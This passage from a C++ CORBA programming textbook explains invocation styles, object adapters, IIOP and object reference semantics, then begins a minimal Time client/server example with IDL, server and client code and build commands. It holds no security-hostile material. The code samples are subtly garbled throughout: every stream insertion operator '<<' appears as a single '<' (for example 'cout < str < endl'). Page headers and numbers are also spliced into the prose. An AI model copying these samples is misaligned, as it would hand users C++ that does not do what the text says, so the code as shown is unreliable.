Static invocation and dispatch  In this approach, OMG IDL is translated into language-
specific stubs and skeletons that are compiled into applications. Compiling stubs and 
skeletons into an application gives it static knowledge of the programming language 
types and functions mapped from the IDL descriptions of remote objects. A stub is a 
client-side function that allows a request invocation to be made via a normal local 
function call. In C++, a CORBA stub is a member function of a class. The local C++ 
object that supports stub functions is often called a proxy because it represents the remote 
target object to the local application. Similarly, a skeleton is a server-side function that 
allows a request invocation received by a server to be dispatched to the appropriate 
servant.  
 
Dynamic invocation and dispatch  This approach involves the construction and 
dispatch of CORBA requests at run time rather than at compile time (as in the static 
approach). Because no compile-time information is available, the creation and 
interpretation of requests at run time requires access to services that can supply 
information about the interfaces and types. Your application can obtain this information 
by querying a human operator via a GUI. Alternatively, you can obtain it 
programmatically from the Interface Repository, a service that provides run-time access 
to IDL definitions.  



IT-SC book: Advanced CORBA® Programming with C++ 

 34 

 
Developers writing applications in statically typed languages such as C++ usually prefer 
to use the static invocation approach because it provides a more natural programming 
model. The dynamic approach can be useful for applications, such as gateways and 
bridges, that must receive and forward requests without having compile-time knowledge 
of the types and interfaces involved. 

2.4.5 Object Adapters 

In CORBA, object adapters serve as the glue between servants and the ORB. As 
described by the Adapter design pattern [4], which is independent of CORBA, an object 
adapter is an object that adapts the interface of one object to a different interface 
expected by a caller. In other words, an object adapter is an interposed object that uses 
delegation to allow a caller to invoke requests on an object without knowing the object's 
true interface. 
 
CORBA object adapters fulfill three key requirements. 
They create object references, which allow clients to address objects. 
They ensure that each target object is incarnated by a servant. 
They take requests dispatched by a server-side ORB and further direct them to the 
servants incarnating each of the target objects. 
 
Without object adapters, the ORB would have to directly provide these features in 
addition to all its other responsibilities. As a result, it would have a very complex 
interface that would be difficult for the OMG to manage, and the number of possible 
servant implementation styles would be limited. 
 
In C++, servants are instances of C++ objects. They are typically defined by deriving 
from skeleton classes produced by compiling IDL interface definitions. To implement 
operations, you override virtual functions of the skeleton base class. You register these 
C++ servants with the object adapter to allow it to dispatch requests to your servants 
when clients invoke requests on the objects incarnated by those servants. 
 
Until version 2.1, CORBA contained specifications only for the Basic Object Adapter 
(BOA). The BOA was the original CORBA object adapter, and its designers felt that it 
would suffice for the majority of applications, with other object adapters filling only 
niche roles. However, CORBA did not evolve as expected because of the following 
problems with the BOA specification. 
 
The BOA specification did not account for the fact that, because of their need to support 
servants, object adapters tend to be language-specific. Because CORBA originally 
provided only a C language mapping, the BOA was written to support only C servants. 
Later attempts to make it support C++ servants proved to be difficult. In general, an 
object adapter that provides solid support for servants in one programming language is 
not likely to also provide adequate support for servants written in a different language 
because of differences in implementation style and usage of those servants. 
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A number of critical features were missing from the BOA specification. Certain 
interfaces were not defined and there were no servant registration operations. Even those 
operations that were specified contained many ambiguities. ORB vendors developed their 
own proprietary solutions to fill the gaps, resulting in poor server application portability 
between different ORB implementations. 
 
The Portability Enhancement RFP [27] issued by the OMG in 1995 to address these 
issues contained a seven-page listing of problems with the BOA specification. 
 
CORBA version 2.2 introduced the Portable Object Adapter to replace the BOA. Because 
the POA addresses the full gamut of interactions between CORBA objects and 
programming language servants while maintaining application portability, the quality of 
the POA specification is vastly superior to that of the BOA. As a result, the BOA 
specification has been removed from CORBA. We provide detailed coverage of the POA 
in Chapter 11. 

2.4.6 Inter-ORB Protocols 

Before CORBA 2.0, one of the most common complaints lodged against CORBA was its 
lack of standard protocol specifications. To allow remote ORB applications to 
communicate, every ORB vendor had to develop its own network protocol or borrow one 
from another distributed system technology. This resulted in "ORB application islands." 
Each one was built over a particular vendor's ORB, and thus they were unable to 
communicate with one another. 
 
CORBA 2.0 introduced a general ORB interoperability architecture called the General 
Inter-ORB Protocol (GIOP, pronounced "gee-op"). GIOP is an abstract protocol that 
specifies transfer syntax and a standard set of message formats to allow independently 
developed ORBs to communicate over any connection-oriented transport. The Internet 
Inter-ORB Protocol (IIOP, pronounced "eye-op") specifies how GIOP is implemented 
over Transmission Control Protocol/Internet Protocol (TCP/IP). All ORBs claiming 
CORBA 2.0 interoperability conformance must implement GIOP and IIOP, and almost 
all contemporary ORBs do so. 
 
ORB interoperability also requires standardized object reference formats. Object 
references are opaque to applications, but they contain information that ORBs need in 
order to establish communications between clients and target objects. The standard object 
reference format, called the Interoperable Object Reference (IOR), is flexible enough to 
store information for almost any inter-ORB protocol imaginable. An IOR identifies one 
or more supported protocols and, for each protocol, contains information specific to that 
protocol. This arrangement allows new protocols to be added to CORBA without 
breaking existing applications. For IIOP, an IOR contains a host name, a TCP/IP port 
number, and an object key that identifies the target object at the given host name and port 
combination. 
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2.5 Request Invocation 

Clients manipulate objects by sending messages. The ORB sends a message to an object 
whenever a client invokes an operation. To send a message to an object, a client must 
hold an object reference for the object. The object reference acts as a handle that uniquely 
identifies the target object and encapsulates all the information required by the ORB to 
send the message to the correct destination. 
 
When a client invokes an operation via an object reference, the ORB does the following: 
Locates the target object 
 
Activates the server application if the server is not already running 
Transmits any arguments for the call to the object 
Activates a servant for the object if necessary 
Waits for the request to complete 
Returns any out and inout parameters and the return value to the client when the call 
completes successfully 
Returns an exception (including any data contained in the exception) to the client when 
the call fails 
 
The entire request invocation mechanism is completely transparent to the client, to whom 
a request to a remote object looks like an ordinary method invocation on a local C++ 
object. In particular, request invocation has the following characteristics. 
 
Location transparency  The client does not know or care whether the target object is 
local to its own address space, is implemented in a different process on the same machine, 
or is implemented in a process on a different machine. Server processes are not obliged to 
remain on the same machine forever; they can be moved around from machine to 
machine without clients becoming aware of it (with some constraints, which we discuss 
in Chapter 14).  
 
Server transparency  The client does not need to know which server implements which 
objects.  
 
Language independence  The client does not care what language is used by the server. 
For example, a C++ client can call a Java implementation without being aware of it. The 
implementation language for objects can be changed for existing objects without 
affecting clients.  
 
Implementation independence  The client does not know how the implementation 
works. For example, the server may implement its objects as proper C++ servants, or the 
server may actually implement its objects using non-OO techniques (such as 
implementing objects as lumps of data). The client sees the same consistent object-
oriented semantics regardless of how objects are implemented in the server.  
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Architecture independence  The client is unaware of the CPU architecture that is used 
by the server and is shielded from such details as byte ordering and structure padding.  
 
Operating system independence  The client does not care what operating system is used 
by the server. The server may even be implemented without the support of an operating 
system—for example, as a real-mode embedded program.  
 
Protocol independence  The client does not know what communication protocol is used 
to send messages. If several protocols are available to communicate with the server, the 
ORB transparently selects a protocol at run time.  
 
Transport independence  The client is ignorant of the transport and data link layer used 
to transmit messages. ORBs can transparently use various networking technologies such 
as Ethernet, ATM, token ring, or serial lines.  

2.5.1 Object Reference Semantics 

Object references are analogous to C++ class instance pointers but can denote objects 
implemented in different processes (possibly on other machines) as well as objects 
implemented in the client's own address space. Except for this distributed addressing 
capability, object references have semantics much like ordinary C++ class instance 
pointers have. 
 
Every object reference identifies exactly one object instance. 
Several different references can denote the same object. 
References can be nil (point nowhere). 
References can dangle (like C++ pointers that point at deleted instances). 
References are opaque (the client is not allowed to look at their contents). 
References are strongly typed. 
References support late binding. 
References can be persistent. 
References can be interoperable. 
 
These points deserve further explanation because they are central to the CORBA object 
model. 
 
Each reference identifies exactly one object. 
 
Just as a C++ class instance pointer identifies exactly one object instance, an object 
reference denotes exactly one CORBA object (which may be implemented in a remote 
address space). A client holding an object reference is entitled to expect that the reference 
will always denote the same object while the object continues to exist. An object 
reference is allowed to stop working only when its target object is permanently destroyed. 
After an object is destroyed, its references become permanently non-functional. This 
means that a reference to a destroyed object cannot accidentally denote some other object 
later. 
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An object can have several references. 
 
Several different references can denote the same object. In other words, each reference 
"names" exactly one object, but an object is allowed to have several names. 
 
If you find this strange, remember that the same thing can happen in C++. A C++ class 
instance pointer denotes exactly one object, and the pointer value (such as 0x48bf0) 
identifies that object. However, as shown in [15], multiple inheritance can cause a single 
C++ instance to have as many as five different pointer values. 
 
The situation is similar in CORBA. If two object references have different contents, it 
does not necessarily mean that the two references denote different objects. It follows that 
an object reference is not the same as an object's identity. This has profound implications 
for the design of object systems, and we explore some of these implications in Sections 
7.11.3 and 20.3.2. 
 
References can be nil. 
 
CORBA defines a distinguished nil value for object references. A nil reference points 
nowhere and is analogous to a C++ null pointer. Nil references are useful for conveying 
"not found" or "not there" semantics. For example, an operation can return a nil reference 
to indicate that a client's search for an object did not locate a matching instance. Nil 
references can also be used to implement optional reference parameters. Passing a nil 
value at run time indicates that the parameter is "not there." 
 
References can dangle. 
 
After a server has passed an object reference to a client, that reference is permanently out 
of the server's control and can propagate freely via means invisible to the ORB (for 
example, as a string carried by e-mail). This means that CORBA has no built-in 
automatic mechanism for the server to inform a client when the object belonging to a 
reference is destroyed. Similarly, there is no built-in automatic way for a client to inform 
a server that it has lost interest in an object reference. This does not mean that you cannot 
create such semantics if your application requires them; it means only that CORBA does 
not provide these semantics as built-in features. 
 
To find out whether an object reference still denotes an existing object, a client can 
invoke the non_existent operation, which is supported by all objects. 
 
References are opaque. 
 
Object references contain a number of standardized components that are the same for all 
ORBs as well as proprietary information that is ORB-specific. To permit source code 
compatibility across different ORBs, clients and servers are not allowed to see the 
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representation of an object reference. Instead, they must treat an object reference as a 
black box that can be manipulated only through a standardized interface. 
 
The encapsulation of object references is a key aspect of CORBA. It lets you add new 
features, such as different communication protocols, over time without breaking existing 
source code. In addition, vendors can use the proprietary part of object references to 
provide value-added features, such as performance optimizations, without compromising 
interoperability with other ORBs. 
 
References are strongly typed. 
 
Every object reference contains an indication of the interface supported by that reference. 
This arrangement allows the ORB run time to enforce type safety. For example, an 
attempt to send a print message to an Employee object (which does not support that 
operation) is caught at run time. 
 
For statically typed languages such as C++, type safety is also enforced at compile time. 
The language mapping does not permit you to invoke an operation unless the target 
object is guaranteed to offer that operation in its interface. (This is true only if you are 
using the generated stubs to invoke operations. If you are using the Dynamic Invocation 
Interface, static type safety is necessarily lost.) 
 
References support late binding. 
 
Clients can treat a reference to a derived object as if it were a reference to a base object. 
For example, assume that the Manager interface is derived from Employee. A client 
may actually hold a reference to a Manager but may think of that reference as being of 
type Employee. As in C++, a client cannot invoke Manager operations via an 
Employee reference (because that would violate static type safety). However, if a client 
invokes the number operation via the Employee reference, the corresponding message 
is still sent to the Manager servant that implements the Employee interface. 
 
This arrangement is exactly analogous to C++ virtual function calls: invoking a method 
via a base pointer calls the virtual function in the derived instance. One of the major 
advantages of CORBA, compared with traditional RPC platforms, is that polymorphism 
and late binding work for remote objects exactly as they do for local C++ objects. This 
means that there is no artificial wall through your architecture in which you must map an 
object-oriented design onto a remote procedure call paradigm. Instead, polymorphism 
works transparently across the wire. 
 
References can be persistent. 
 
Clients and servers can convert an object reference into a string and write the string to 
disk. Sometime later, that string can be converted back into an object reference that 
denotes the same original object. 
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References can be interoperable. 
 
CORBA specifies a standard format for object references. This means that one ORB can 
use references created by a different vendor's ORB, whether they are exchanged as 
parameters or as strings. For that reason, these standard object references are also known 
as Interoperable Object References, as we explained in Section 2.4.6. 
 
Note that in addition to the standard IOR format, an ORB can provide proprietary 
reference encodings. This capability can be useful if an ORB is tailored for a particular 
environment, such as an object-oriented database. However, proprietary references 
cannot be exchanged with ORBs from a different vendor. 

2.5.2 Reference Acquisition 

Object references are the only way for a client to reach target objects. A client cannot 
communicate unless it holds an object reference. How, then, does a client obtain 
references (the client must have at least one reference to start with)? We address this 
bootstrapping issue in Chapter 18. For now, it is sufficient to say that references are 
published by servers in some way. For example, a server can 
 
Return a reference as the result of an operation (as the return value or as an inout or 
out parameter) 
 
Advertise a reference in some well-known service, such as the Naming Service or 
Trading Service 
 
Publish an object reference by converting it to a string and writing it into a file 
 
Transmit an object reference by some other out-of-band mechanism, such as sending it in 
e-mail or publishing it on a Web page 
 
By far the most common way for a client to acquire object references is to receive them 
in response to an operation invocation. In that case, object references are parameter 
values and are no different from any other type of value, such as a string. Clients simply 
contact an object, and the object returns one or more object references. In this way, 
clients can navigate an "object web" in much the same way as following hypertext links. 
 
Clients use other methods to acquire object references only rarely. For example, the 
lookup of a reference in a Trader or the reading of an object reference from a file 
typically happens only during bootstrapping. After the client has the first few object 
references, it uses them to acquire more references to other objects by invoking 
operations. 
Regardless of the origin of object references, they are always created by the ORB run 
time on behalf of the client. This approach hides the internal representation of references 
from the client. 
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2.5.3 Contents of an Object Reference 

Given the transport and location transparency offered by CORBA, there must be some 
minimum amount of information encapsulated in every IOR. Figure 2.4 shows a 
conceptual view of the contents of an IOR. 

Figure 2.4 Object reference contents. 

 
 

An IOR contains three major pieces of information. 
 
Repository ID  The repository ID is a string that identifies the most derived type of the 
IOR at the time the IOR was created. (We discuss the details of repository IDs in 
Section 4.19.) The repository ID allows you to locate a detailed description of the 
interface in the Interface Repository (if the ORB provides one). The ORB can also use 
the repository ID to implement type-safe down-casts (see Section 7.6.4).  
 
Endpoint Info  This field contains all the information required by the ORB to establish a 
physical connection to the server implementing the object. The endpoint information 
specifies which protocol to use and contains physical addressing information appropriate 
for a particular transport. For example, for the IIOP, which is supported by all 
interoperable ORBs, the endpoint info contains an Internet domain name or IP address 
and a TCP port number.  
 
The addressing information in the Endpoint Info field may directly contain the address 
and port number of the server that implements the object. However, in most cases, it 
contains the address of an implementation repository that can be consulted to locate the 
correct server. This extra level of indirection permits server processes to migrate from 
machine to machine without breaking existing references held by clients. 
 
CORBA also allows information for several different protocols and transports to be 
embedded in the reference, permitting a single reference to support more than one 
protocol (the ORB chooses the most appropriate protocol transparently). A future version 
of CORBA will likely permit the client to influence the choice of protocol by selecting 
quality-of-service policies for object references. 
 
Chapter 14 discusses in more detail how an ORB uses the endpoint information. 
 
Object key  The repository ID and endpoint information are standardized, whereas the 
object key contains proprietary information. Exactly how this information is organized 
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and used depends on the ORB. However, all ORBs allow the server to embed an 
application-specific object identifier inside the object key when the server creates the 
reference. The object identifier is used by the server-side ORB and object adapter to 
identify the target object in the server for each request it receives.  
 
The client-side run time simply sends the key as an opaque blob of binary data with every 
request it makes. It therefore does not matter that the reference data is in a proprietary 
format. It is never looked at by any ORB except the ORB hosting the target object (which 
is the same ORB that created the object key in the first place). 
 
The combination of endpoint information and object key can appear multiple times in an 
IOR. Such multiple endpoint-key pairs, known as multicomponent profiles, permit an 
IOR to efficiently support more than one protocol and transport that share information. 
An IOR can also contain multiple profiles, each containing separate protocol and 
transport information. The ORB run time dynamically chooses which protocol to use 
depending on what is supported by both client and server. 
 
The preceding discussion shows that all the essential ingredients for successful request 
dispatch are encapsulated in a reference. The repository ID provides type checking, the 
endpoint information is used by the client-side ORB to identify the correct target address 
space, and the object key is used by the server-side ORB to identify the target object 
inside the address space. 

2.5.4 References and Proxies 

When a reference is received by a client, the client-side run time instantiates a proxy 
object (or proxy, for short) in the client's address space. A proxy is a C++ instance that 
supplies to the client an interface to the target object. The interface on the proxy is the 
same as the interface on the remote object; when the client invokes an operation on the 
proxy, the proxy sends a corresponding message to the remote servant. In other words, 
the proxy delegates requests to the corresponding remote servant and acts as a local 
ambassador for the remote object, as shown in Figure 2.5. 
 
 
 
 
 
 
 
 
 

Figure 2.5 Local proxy to remote object. 
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The C++ mapping does not change if client and server are collocated in the same address 
space. In particular, no changes to the source code are necessary in either client or server 
if we decide to link the server into the client (see Figure 2.6). 

Figure 2.6 Proxy to collocated object. 

 
 

If client and server are collocated, the client's request is still transparently forwarded by 
the proxy to the correct servant; in this way, we preserve the location transparency of 
CORBA. (Some ORBs do not use a proxy for collocated objects. Instead, the servant 
object acts as the proxy. However, such implementations are not strictly compliant with 
the POA specification and do not strictly preserve location transparency. We therefore 
consider ORBs that do not keep a proxy in the collocated case as deficient.) 
 
In both the remote and the collocated scenarios, the proxy delegates operation 
invocations made by the client to the servant. In the remote scenario, the proxy sends the 
request over the network, whereas in the collocated scenario, the request is dispatched via 
C++ function calls. The interaction between the skeleton and the servant in the remote 
case is usually implemented as a C++ virtual function call (but can also be implemented 
by delegation). We discuss these details in Chapter 9. 
Note that the proxy instance provides the client with an interface that is specific to the 
type of object being accessed. The proxy class is generated from the IDL definition of the 
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corresponding interface and implements the stub through which the client dispatches calls. 
This approach ensures type safety; the client cannot invoke an operation unless it holds a 
proxy of the correct type because only that proxy has the correct member function. 

2.6 General CORBA Application Development 

In the previous few sections, we have briefly explored all the parts of CORBA that you 
need to know about when developing applications. Here, we cover the general steps 
required to actually build CORBA-based systems. The intent is not to provide a false 
sense of simplicity but rather to help you see how all the portions of CORBA described in 
this chapter relate to one another in the context of application development. 
 
To develop a C++ CORBA application consisting of two executables—one a client and 
one a server—you generally perform the following steps. 
 
Determine your application's objects and define their interfaces in IDL. 
 
As with the development of any object-oriented program, you must find your objects, 
define their interfaces, and define how they relate to one another. This process is usually 
a difficult and iterative one, and CORBA does not make this part of the development life 
cycle any easier for you. 
 
In fact, designing a CORBA application, or any distributed object application for that 
matter, is often more difficult than designing a normal program because you must deal 
with issues related to distribution. Although CORBA and its language mappings hide 
much of the complexity and many of the low-level details associated with typical 
network programming, it does not magically take care of all the problems that distributed 
systems encounter, such as messaging latency, network partitions, and partial system 
failure. Basing your application on an ORB certainly helps in this regard, but you must 
still take latency and distributed failure modes into account if you want to write high-
quality distributed applications. We discuss some of these design issues in Chapter 22. 
Compile your IDL definitions into C++ stubs and skeletons. 
 
ORB implementations normally supply IDL compilers that follow language mapping 
rules to compile your IDL into client stubs and server skeletons. For C++, IDL compilers 
typically emit C++ header files that contain declarations for proxy classes, server 
skeletons, and other supporting types. They also generate C++ implementation files that 
implement the classes and types declared in the header files. 
 
By translating your IDL definitions into C++, you generate a code base that allows you to 
write clients and servants that respectively access and implement CORBA objects 
supporting your IDL interfaces. 
 
Declare and implement C++ servant classes that can incarnate your CORBA objects. 
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Each of your CORBA objects must be incarnated by an instance of a C++ servant class 
before the ORB can dispatch requests to it. You must define your servant classes and 
implement their member functions (which represent their IDL methods) to perform the 
services that you want your CORBA objects to provide to your clients. 
 
Write a server main program. 
 
As with all C++ programs, the main function provides the entry and exit points for a C++ 
CORBA application. For your server, your main must initialize the ORB and the POA, 
create some servants, arrange for the servants to incarnate your CORBA objects, and 
finally, start listening for requests. 
 
Compile and link your server implementation files with the generated stubs and skeletons 
to create your server executable. 
 
For a C++ CORBA server, you provide the method implementations. The generated stubs 
and skeletons provide the IDL type implementations and the request dispatching code to 
translate incoming CORBA requests into C++ function calls on your servants. 
 
Write, compile, and link your client code together with the generated stubs. 
 
Finally, you implement your clients to first obtain object references for your CORBA 
objects. To have services performed on their behalf, your clients then invoke operations 
on your CORBA objects. Your client code invokes requests and receives replies as if 
making normal C++ function calls. The generated stubs translate those function calls into 
CORBA request invocations on the objects in your server. 
 
Naturally, these steps vary somewhat depending on the nature of the application. For 
example, sometimes the server already exists, and you need only write a client. In that 
case, you would perform only those steps related to developing clients. 
 
If this CORBA application development process is not clear to you, do not worry. We 
have kept our explanation of these steps at a high level; we want only to give you an 
overview of what you must do to create C++ CORBA applications. Subsequent chapters 
cover many more details related to the development of real-world applications, so do not 
be disheartened by the lack of depth in the coverage provided here. 

2.7 Summary 

The problems associated with distributed heterogeneous computing are with us for the 
foreseeable future. Computer networks will continue to be heterogeneous for some time 
to come because of continued advances in computing hardware, networking, and 
operating systems. This heterogeneity makes the development, deployment, and 
maintenance of networked applications difficult because of the overwhelming number of 
low-level details that must be considered and addressed. 
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CORBA provides the abstractions and services you need to develop portable distributed 
applications without worrying about low-level details. Its support for multiple request-
response models, transparent object location and activation, and programming language 
and operating system independence provides a solid basis for both the integration of 
legacy systems and the development of new applications. 
 
Application developers define the interfaces of their CORBA objects in the OMG IDL, a 
C++-like declarative language. You use it to define types such as structures, sequences, 
and arrays to be passed to operations supported by objects. Using object-oriented 
development techniques, you group related operations in interfaces in much the same 
way that you define related C++ member functions in C++ classes. 
 
To implement CORBA objects in C++, you create C++ object instances called servants 
and register them with the POA. The ORB and POA cooperate to dispatch all requests 
invoked on a target object to the servant incarnating that object. 
 
Clients invoke requests via object references, which are opaque entities that contain 
communication information used by ORBs to direct requests to their target objects. IORs 
have a standardized format that allow independently developed ORBs to interoperate. 
 
Because the first step in implementing CORBA objects is to define their interfaces, we 
describe IDL in detail in Chapter 4. Before that, however, we continue to ease you into 
the development of CORBA applications with C++ in Chapter 3 by showing you how 
to write a simple client and server. 
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Chapter 3. A Minimal CORBA Application 

 

3.1 Chapter Overview 

This chapter shows how to build a simple CORBA application consisting of a server that 
implements a single object and a client that accesses that object. The point of this chapter 
is to familiarize you with the basic steps required to build a minimal application, and we 
explain very few details of the source code here. Do not be concerned if something does 
not seem clear—later chapters provide all the detail. 
 
Section 3.2 shows how to write and compile a simple interface definition, Section 
3.2 covers how to write the server, Section 3.4 shows how to write the client, and 
Section 3.5 illustrates how to run the complete application. 

3.2 Writing and Compiling an IDL Definition 

The first step for every CORBA application is to define its interfaces in IDL. For our 
minimal application, the IDL contains a structure definition and a single interface: 
      
struct TimeOfDay { 
    short   hour;       // 0 - 23 
    short   minute;     // 0 - 59 
    short   second;     // 0 - 59 
}; 
 
interface Time { 
    TimeOfDay   get_gmt(); 
}; 
 
     
The Time interface defines an object that delivers the current time. A Time object has 
only a single operation, get_gmt. Clients invoke this operation to obtain the current 
time in the Greenwich time zone. The operation returns the current time as a structure of 
type TimeOfDay, which contains the current hour, minute, and second. 
 
Having written this IDL definition and placed it in a file called time.idl, you must 
compile it. The CORBA specification standardizes neither how to invoke the IDL 
compiler nor what the names of the generated files should be, so the example that follows 
may need some adjustment for your particular ORB. However, the basic idea is the same 
for all ORBs with a C++ language mapping. 
 
To compile the IDL, you invoke the compiler with the IDL source file name as a 
command-line argument. Note that for your ORB, the actual command may be something 
other than idl.[1]  



IT-SC book: Advanced CORBA® Programming with C++ 

 48 

[1] We assume a UNIX environment and a Bourne or Korn shell whenever we show commands 
in this book. 

      
$ idl time.idl 
 
     
Provided there are no errors in the IDL definition, you will find several new files in the 
current directory. (The names of these files are ORB-dependent, so you may see file 
names that differ in name and number from the ones shown here.) 
 
time.hh 
 
This is a header file for inclusion in the client source code. It contains C++ type 
definitions corresponding to the IDL types used in time.idl. 
 
timeC.cc 
 
This file contains C++ stub code to be compiled and linked into the client application. It 
provides a generated API that the client application can call to communicate with objects 
defined in time.idl. 
 
timeS.hh 
This is a header file for inclusion in the server source code. It contains definitions that 
allow the application code to implement an up-call interface to the objects defined in 
time.idl. 
 
timeS.cc 
 
This file contains C++ skeleton code to be compiled and linked into the server application. 
It provides the run-time support required by the server application, so it can receive 
operation invocations sent by clients. 

3.3 Writing and Compiling a Server 

The source code for the entire server takes only a few lines: 
      
#include <time.h> 
#include <iostream.h> 
#include "timeS.hh" 
 
class Time_impl : public virtual POA_Time { 
public: 
    virtual TimeOfDay get_gmt() throw(CORBA::SystemException); 
}; 
 
TimeOfDay 
Time_impl:: 
get_gmt() throw(CORBA::SystemException) 
{ 
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    time_t time_now = time(0); 
    struct tm * time_p = gmtime(&time_now); 
 
    TimeOfDay tod; 
    tod.hour = time_p->tm_hour; 
    tod.minute = time_p->tm_min; 
    tod.second = time_p->tm_sec; 
 
    return tod; 
} 
 
int 
main(int argc, char * argv[]) 
{ 
    try { 
        // Initialize orb 
        CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
         
        // Get reference to Root POA. 
        CORBA::Object_var obj 
            = orb->resolve_initial_references("RootPOA"); 
        PortableServer::POA_var poa 
            = PortableServer::POA::_narrow(obj); 
         
        // Activate POA manager 
        PortableServer::POAManager_var mgr 
            = poa->the_POAManager(); 
        mgr->activate(); 
         
        // Create an object 
        Time_impl time_servant; 
         
        // Write its stringified reference to stdout 
        Time_var tm = time_servant._this(); 
        CORBA::String_var str = orb->object_to_string(tm); 
        cout < str < endl; 
         
        // Accept requests 
        orb->run(); 
    } 
    catch (const CORBA::Exception &) { 
        cerr < "Uncaught CORBA exception" < endl; 
        return 1; 
    } 
    return 0; 
} 
 
 
The server implements one Time object. The timeS.hh header file contains an abstract 
base class called POA_Time. Its definition looks like this (tidied up a little to get rid of 
code that is irrelevant to the application): 
      
// In file timeS.hh: 
class POA_Time : 
    public virtual PortableServer::ServantBase { 
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public: 
    virtual             ~POA_Time(); 
    Time_ptr            _this(); 
    virtual TimeOfDay   get_gmt() 
                            throw(CORBA::SystemException) = 0; 
}; 
 
     
Note that this class contains a get_gmt pure virtual method. To create an 
implementation object that clients can call, we must derive a concrete class from 
POA_Time that provides an implementation for the get_gmt method. This means that 
the first few lines of our server program look like this: 
      
#include <time.h> 
#include <iostream.h> 
#include "timeS.hh" 
 
class Time_impl : public virtual POA_Time { 
public: 
    virtual TimeOfDay get_gmt() throw(CORBA::SystemException); 
}; 
 
     
Here, we define a class Time_impl that inherits from POA_Time. This class provides a 
concrete implementation of a Time object that clients actually can communicate with. 
Our implementation class is very simple. It has only the single method get_gmt (which 
is not pure virtual because we require a concrete class that can actually be instantiated). 
The next step is to implement the get_gmt method of Time_impl. For now, we are 
ignoring error conditions. If the call to time fails with a return value of -1, get_gmt 
returns a garbage time value instead of raising an exception. (We discuss how to deal 
with errors in Chapters 7 and 9.) 
 
TimeOfDay 
Time_impl:: 
get_gmt() throw(CORBA::SystemException) 
{ 
    time_t time_now = time(0); 
    struct tm * time_p = gmtime(&time_now); 
     
    TimeOfDay tod; 
    tod.hour = time_p->tm_hour; 
    tod.minute = time_p->tm_min; 
    tod.second = time_p->tm_sec; 
     
    return tod; 
} 
 
 
This completes the object implementation. What remains is to provide a main function 
for the server. The first few lines are identical for most servers and initialize the server-
side ORB run time: 
 
int 
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main(int argc, char * argv[]) 
{ 
    try { 
        // Initialize orb 
        CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
        // Get reference to Root POA. 
        CORBA::Object_var obj 
            = orb->resolve_initial_references("RootPOA"); 
        PortableServer::POA_var poa 
            = PortableServer::POA::_narrow(obj); 
 
        // Activate POA manager 
        PortableServer::POAManager_var mgr 
            = poa->the_POAManager(); 
       mgr->activate(); 
 
     
Do not be concerned about the details of this code for the moment—we will discuss its 
precise purpose in later chapters. 
 
The next step is to provide an actual servant for a Time object so that clients can send 
invocations to it. We do this by creating an instance of the Time_impl servant class: 
 
        // Create a Time object 
        Time_impl time_servant; 
 
 
For the client to be able to access the object, the client requires an object reference. In this 
simple example, we provide that reference by writing it as a string to stdout. Of course, 
this is not a distributed solution, but it will suffice for now: 
 
        // Write a stringified reference 
        // for the Time object to stdout 
        Time_var tm = time_servant._this(); 
        CORBA::String_var str = orb->object_to_string(tm); 
        cout < str < endl; 
 
 
The call to _this creates an object reference for the object, and object_to_string 
converts that reference into a printable string. 
 
At this point we have a concrete implementation of a Time object whose reference is 
available to the client. The server is now ready to accept requests, something that it 
indicates to the ORB run time by calling run: 
 
        // Accept requests 
        orb->run(); 
 
 
The run method starts an event loop that waits for incoming requests from clients. 
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The remainder of the server source code sets an exception handler that prints an error 
message if anything goes wrong and terminates main. (The closing curly brace at the 
start of this code fragment completes the try block we opened at the beginning of main.) 
      
    } 
    catch (const CORBA::Exception &) { 
        cerr < "Uncaught CORBA exception" < endl; 
        return 1; 
    } 
    return 0; 
} 
 
     
This completes the server source code. In this short example, most of the source code is 
boilerplate that you will find in every server. In a more realistic application, most of the 
server source code consists of the actual operation implementations. 
 
We are now ready to compile and link the server code. The exact compile and link 
commands you use depend on your compiler and ORB. For example, include paths differ 
from vendor to vendor, and you may have to add various preprocessor or compiler 
options. However, the basic idea is the same for all ORBs: you compile the generated 
stub file (timeC.cc), the generated skeleton file (timeS.cc), and the server source 
code you have written, which we assume is in the file myserver.cc. Simple 
compilation commands could look like this: 
      
$ CC -c -I/opt/myORB/include timeC.cc 
$ CC -c -I/opt/myORB/include timeS.cc 
$ CC -c -I/opt/myORB/include myserver.cc 
 
     
Assuming that there are no errors, this produces three object files that we can link into an 
executable. Again, the exact link command you use depends on your C++ compiler and 
ORB vendor. Also, the name and location of the ORB run-time libraries you link with 
will differ for each vendor. A simple link command is 
      
$ CC -o myserver timeC.o timeS.o myserver.o \ 
> -L/opt/myORB/lib -lorb 
 
     
Here, we assume that the ORB run-time library is called liborb. Assuming that there 
are no errors, we now have a complete executable we can run from the command line. On 
start-up, the server prints a reference to its Time object on stdout. The server then 
waits indefinitely for client requests. (To stop the server, we must kill it by sending it a 
signal.) 
      
$ ./myserver 
IOR:000000000000000d49444c3a54696d653a312e300000000000000001000000 
00000000f000010100000000066d6572676500060b000000d7030231310c000016 
7e0000175d360aed118143582d466163653a20457348795e426e5851664e527333 
3d4d7268787b72643b4b4c4e59295a526a4c3a39564628296e4345633637533d6a 
2c77245879727c7b6371752b7434567d61383b3422535e514a2b48322e772f354f 
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245e573e69512b6b24717a412f7822265c2172772d577d303927537d5e715c5757 
70784a2734385832694f3e7433483753276f4825305a2858382e4a30667577487b 
3647343e3e7e5b554b21643d67613c6d367a4e784d414f7a7658606d214a45677e 
272f737756642420000000000000 

3.4 Writing and Compiling a Client 

The source code for the client also takes only a few lines of code: 
      
#include <iostream.h> 
#include <iomanip.h> 
#include "time.hh" 
 
int 
main(int argc, char * argv[]) 
{ 
    try { 
        // Check arguments 
        if (argc != 2) { 
            cerr < "Usage: client IOR_string" < endl; 
            throw 0; 
        } 
 
        // Initialize orb 
        CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
        // Destringify argv[1] 
        CORBA::Object_var obj = orb->string_to_object(argv[1]); 
        if (CORBA::is_nil(obj)) { 
            cerr < "Nil Time reference" < endl; 
            throw 0; 
        } 
 
        // Narrow 
        Time_var tm = Time::_narrow(obj); 
        if (CORBA::is_nil(tm)) { 
            cerr < "Argument is not a Time reference" < endl; 
            throw 0; 
        } 
 
        // Get time 
        TimeOfDay tod = tm->get_gmt(); 
        cout < "Time in Greenwich is " 
             < setw(2) < setfill('0') < tod.hour < ":" 
             < setw(2) < setfill('0') < tod.minute < ":" 
             < setw(2) < setfill('0') < tod.second < endl; 
    } 
    catch (const CORBA::Exception &) { 
